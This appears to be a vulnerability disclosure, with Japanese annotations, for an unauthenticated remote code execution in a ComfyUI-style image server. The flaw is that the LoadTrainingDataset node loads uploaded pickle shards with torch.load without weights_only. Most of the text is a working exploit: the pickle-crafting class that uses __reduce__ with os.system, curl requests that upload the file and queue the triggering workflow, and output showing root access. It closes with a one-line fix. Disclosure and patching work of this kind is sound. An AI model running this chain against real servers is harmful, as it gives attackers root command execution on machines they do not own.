@routes.post("/upload/image")
async def upload_image(request):
    post = await request.post()
    return image_upload(post)  # no session or token verification

@routes.post("/prompt")
async def post_prompt(request):
    logging.info("got prompt")
    json_data = await request.json()
    # no session or token verification
    ...
    self.prompt_queue.put((number, prompt_id, prompt, ...))

@classmethod
def execute(cls, folder_name):
    dataset_dir = os.path.join(folder_paths.get_output_directory(), folder_name)

    shard_files = sorted([
        f for f in os.listdir(dataset_dir)
        if f.startswith("shard_") and f.endswith(".pkl")
    ])

    for shard_file in shard_files:
        shard_path = os.path.join(dataset_dir, shard_file)
        with open(shard_path, "rb") as f:
            shard_data = torch.load(f)  # ← VULNERABLE: weights_only not specified

攻撃者 (未認証)

[0] 悪意のあるPICKLEを作成
    └─ (os.system, ("cmd",)) を返す __reduce__ を持つPythonオブジェクトをシリアライズ
    └─ PyTorchの torch.save() 形式が有効な .pkl コンテナにラップ
    └─ 出力: shard_0000.pkl — LoadTrainingDatasetが期待する有効なファイル名パターン
        │
        ▼
[1] POST /upload/image
    └─ shard_0000.pkl をアップロード (悪意のある __reduce__ を持つpickle)
    └─ パラメータ: type=output, subfolder=cve_test
    └─ レスポンス: 200 OK {"name":"shard_0000.pkl", ...}
    └─ ファイルの配置先: /opt/comfyui/output/cve_test/shard_0000.pkl
        │
        ▼
[2] POST /prompt
    └─ LoadTrainingDatasetノードを含むJSONワークフロー
    └─ folder_name: "cve_test" → アップロードされた .pkl を含むフォルダを指す
    └─ レスポンス: 200 OK {"prompt_id": "...", "node_errors": {}}
        │
        ▼
[3] LoadTrainingDataset.execute()
    └─ ディレクトリ内の shard_0000.pkl を特定
    └─ torch.load(f) → pickleをデシリアライズ
    └─ __reduce__ が実行: os.system("id > /tmp/pwned.txt")
        │
        ▼
[4] rootとしてRCE
    └─ uid=0(root) gid=0(root) groups=0(root)

shard_files = sorted([
    f for f in os.listdir(dataset_dir)
    if f.startswith("shard_") and f.endswith(".pkl")
])

class Exploit:
    def __reduce__(self):
        return (os.system, (args.cmd,))

python3 pickle_craft.py --cmd "id > /tmp/pwned.txt"

[*] Crafting malicious pickle...
[*] Payload: __reduce__ → os.system('id > /tmp/pwned.txt')
[*] Filename must match pattern 'shard_*.pkl' (hardcoded filter in LoadTrainingDataset)
[+] Pickle crafted: shard_0000.pkl (57 bytes)
[+] Command embedded: 'id > /tmp/pwned.txt'
[+] Ready to upload via POST /upload/image

curl -s -X POST http://127.0.0.1:8188/upload/image \
  -F "image=@shard_0000.pkl;type=application/octet-stream" \
  -F "type=output" \
  -F "subfolder=cve_test"

{"name": "shard_0000.pkl", "subfolder": "cve_test", "type": "output"}

curl -s -X POST http://127.0.0.1:8188/prompt \
  -H "Content-Type: application/json" \
  -d '{
    "prompt": {
      "1": {
        "class_type": "LoadTrainingDataset",
        "inputs": { "folder_name": "cve_test" }
      },
      "2": {
        "class_type": "SaveTrainingDataset",
        "inputs": {
          "latents": ["1", 0],
          "conditioning": ["1", 1],
          "folder_name": "cve_test_out",
          "shard_size": 1000
        }
      }
    }
  }'

{"prompt_id": "1dbf8fd8-c149-41b3-a839-935cb2d408b4", "number": 1, "node_errors": {}}

root@73df6d3d11eb:/opt/comfyui# cat /tmp/pwned.txt
uid=0(root) gid=0(root) groups=0(root)

- shard_data = torch.load(f)
+ shard_data = torch.load(f, weights_only=True)